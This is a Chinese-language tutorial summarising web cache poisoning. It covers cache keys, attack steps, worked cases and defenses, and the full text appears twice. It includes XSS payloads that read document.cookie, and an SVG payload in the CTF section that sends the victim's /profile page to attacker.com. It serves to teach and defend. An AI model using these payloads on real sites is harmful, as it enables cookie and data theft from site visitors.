对缓存投毒的学习总结
字数 1628 2025-08-20 18:18:04

Web缓存投毒攻击全面解析与实战指南

一、Web缓存基础概念

1.1 Web缓存工作原理

  • 缓存位置:位于服务器和用户之间,在固定时间内保存对特定请求的响应
  • 缓存作用:当其他用户发送相同请求时,直接提供缓存副本,减轻服务器负担
  • 典型应用:CDN(内容分发网络)是最常见的缓存实现方式

1.2 缓存键(Cache Key)机制

  • 匹配原理:缓存通过Vary头部指定的HTTP HEADER来判断是否使用缓存
  • 缓存键Vary头部指定的头部字段称为"缓存键"(cache key)
  • 非缓存键:未被Vary指定的头部字段

二、缓存投毒攻击原理

2.1 基本概念

  • 攻击本质:在缓存中存入有害内容(如XSS payload),使其他用户访问时受到攻击
  • 攻击条件:利用非缓存键影响服务器响应内容

2.2 攻击流程

  1. 识别非缓存键:找出哪些HTTP头部会影响页面内容但不属于缓存键
  2. 构造有害响应:利用非缓存键使服务器返回有害内容
  3. 缓存有害内容:确保有害响应被缓存系统存储
  4. 触发攻击:等待其他用户访问被投毒的缓存

三、缓存投毒攻击实战案例

3.1 基于X-Forwarded-Host的资源导入投毒

  • 漏洞特征:网站使用X-Forwarded-Host动态生成JS文件URL
  • 攻击方法
    X-Forwarded-Host: baidu.com"></script><script>alert(document.cookie)</script>
    
  • 防御建议:验证X-Forwarded-Host内容或将其加入缓存键

3.2 Cookie导致的XSS投毒

  • 漏洞特征:Cookie内容回显到页面且不属于缓存键
  • 攻击方法
    fehost=prod-cache-01"}%3Balert(1)%3Babc={"":""
    
  • 防御建议:对回显的Cookie值进行严格过滤

3.3 多Header组合投毒

  • 漏洞特征:多个非缓存键共同影响页面行为
  • 攻击方法
    X-Forwarded-Host: attacker.com
    X-Forwarded-Scheme: http://
    
  • 防御建议:审查所有可能影响页面行为的头部

3.4 内容不唯一缓存键投毒

  • 漏洞特征Vary指定了内容不唯一的缓存键(如User-Agent)
  • 攻击步骤
    1. 收集目标User-Agent
    2. 构造匹配该User-Agent的有害请求
  • 防御建议:避免使用高变化率的字段作为缓存键

3.5 DOM型漏洞投毒

  • 漏洞特征:JS从服务器获取未经验证的数据导致DOM XSS
  • 攻击方法
    1. 投毒JSON数据源
    2. 构造恶意JSON响应:
    {
      "country": "<svg onload=alert(document.cookie)>"
    }
    
  • 防御建议:对动态插入DOM的内容进行转义

3.6 多漏洞组合投毒

  • 复杂场景:需要多个投毒点配合才能完成攻击
  • 典型步骤
    1. 利用第一个漏洞强制设置特定状态(如语言)
    2. 利用第二个漏洞投毒该状态下的资源
  • 防御建议:全面审查所有用户可控输入点

四、缓存投毒在CTF中的应用

4.1 常规解题方法

  • SVG XSS Payload
    <?xml version="1.0"?>
    <svg xmlns="http://www.w3.org/2000/svg">
      <script>
        fetch("/profile").then(r=>r.text()).then(t=>fetch("//attacker.com/?"+btoa(t)))
      </script>
    </svg>
    

4.2 高级缓存投毒方法

  • 利用条件
    1. 使用Cloudflare等CDN缓存静态文件
    2. 允许自定义文件名
    3. 用户信息页面存在XSS
  • 攻击步骤
    1. 注册.js结尾的用户名
    2. 在个人信息中植入XSS
    3. 诱导访问/profile/name.js使XSS被缓存

五、防御措施

5.1 缓存配置最佳实践

  1. 谨慎选择Vary头部指定的字段
  2. 避免使用高变化率的字段作为缓存键
  3. 对关键页面禁用缓存

5.2 代码安全建议

  1. 对所有用户可控输入进行严格过滤
  2. 避免直接使用请求头内容构造响应
  3. 实施严格的CSP策略

5.3 运维配置建议

  1. 定期审计缓存配置
  2. 监控异常缓存行为
  3. 保持CDN/缓存系统为最新版本

六、工具与资源

6.1 实用工具

  • Param Miner:BurpSuite插件,用于自动发现可利用的非缓存键
  • Logger++:BurpSuite插件,用于记录和分析请求

6.2 学习资源

  1. 实战Web缓存投毒(上/下)
  2. CDN与缓存的归纳理解
  3. HTTP请求的响应头部Vary的理解

七、总结

缓存投毒是一种危害严重但常被忽视的攻击方式,攻击者通过精心构造的请求污染缓存内容,可造成大规模XSS等安全威胁。防御需要开发、运维多方协作,从缓存配置、代码安全和系统监控多个层面建立防护体系。

Web缓存投毒攻击全面解析与实战指南 一、Web缓存基础概念 1.1 Web缓存工作原理 缓存位置 :位于服务器和用户之间,在固定时间内保存对特定请求的响应 缓存作用 :当其他用户发送相同请求时,直接提供缓存副本,减轻服务器负担 典型应用 :CDN(内容分发网络)是最常见的缓存实现方式 1.2 缓存键(Cache Key)机制 匹配原理 :缓存通过 Vary 头部指定的HTTP HEADER来判断是否使用缓存 缓存键 : Vary 头部指定的头部字段称为"缓存键"(cache key) 非缓存键 :未被 Vary 指定的头部字段 二、缓存投毒攻击原理 2.1 基本概念 攻击本质 :在缓存中存入有害内容(如XSS payload),使其他用户访问时受到攻击 攻击条件 :利用非缓存键影响服务器响应内容 2.2 攻击流程 识别非缓存键 :找出哪些HTTP头部会影响页面内容但不属于缓存键 构造有害响应 :利用非缓存键使服务器返回有害内容 缓存有害内容 :确保有害响应被缓存系统存储 触发攻击 :等待其他用户访问被投毒的缓存 三、缓存投毒攻击实战案例 3.1 基于X-Forwarded-Host的资源导入投毒 漏洞特征 :网站使用 X-Forwarded-Host 动态生成JS文件URL 攻击方法 : 防御建议 :验证 X-Forwarded-Host 内容或将其加入缓存键 3.2 Cookie导致的XSS投毒 漏洞特征 :Cookie内容回显到页面且不属于缓存键 攻击方法 : 防御建议 :对回显的Cookie值进行严格过滤 3.3 多Header组合投毒 漏洞特征 :多个非缓存键共同影响页面行为 攻击方法 : 防御建议 :审查所有可能影响页面行为的头部 3.4 内容不唯一缓存键投毒 漏洞特征 : Vary 指定了内容不唯一的缓存键(如User-Agent) 攻击步骤 : 收集目标User-Agent 构造匹配该User-Agent的有害请求 防御建议 :避免使用高变化率的字段作为缓存键 3.5 DOM型漏洞投毒 漏洞特征 :JS从服务器获取未经验证的数据导致DOM XSS 攻击方法 : 投毒JSON数据源 构造恶意JSON响应: 防御建议 :对动态插入DOM的内容进行转义 3.6 多漏洞组合投毒 复杂场景 :需要多个投毒点配合才能完成攻击 典型步骤 : 利用第一个漏洞强制设置特定状态(如语言) 利用第二个漏洞投毒该状态下的资源 防御建议 :全面审查所有用户可控输入点 四、缓存投毒在CTF中的应用 4.1 常规解题方法 SVG XSS Payload : 4.2 高级缓存投毒方法 利用条件 : 使用Cloudflare等CDN缓存静态文件 允许自定义文件名 用户信息页面存在XSS 攻击步骤 : 注册 .js 结尾的用户名 在个人信息中植入XSS 诱导访问 /profile/name.js 使XSS被缓存 五、防御措施 5.1 缓存配置最佳实践 谨慎选择 Vary 头部指定的字段 避免使用高变化率的字段作为缓存键 对关键页面禁用缓存 5.2 代码安全建议 对所有用户可控输入进行严格过滤 避免直接使用请求头内容构造响应 实施严格的CSP策略 5.3 运维配置建议 定期审计缓存配置 监控异常缓存行为 保持CDN/缓存系统为最新版本 六、工具与资源 6.1 实用工具 Param Miner :BurpSuite插件,用于自动发现可利用的非缓存键 Logger++ :BurpSuite插件,用于记录和分析请求 6.2 学习资源 实战Web缓存投毒(上/下) CDN与缓存的归纳理解 HTTP请求的响应头部Vary的理解 七、总结 缓存投毒是一种危害严重但常被忽视的攻击方式,攻击者通过精心构造的请求污染缓存内容,可造成大规模XSS等安全威胁。防御需要开发、运维多方协作,从缓存配置、代码安全和系统监控多个层面建立防护体系。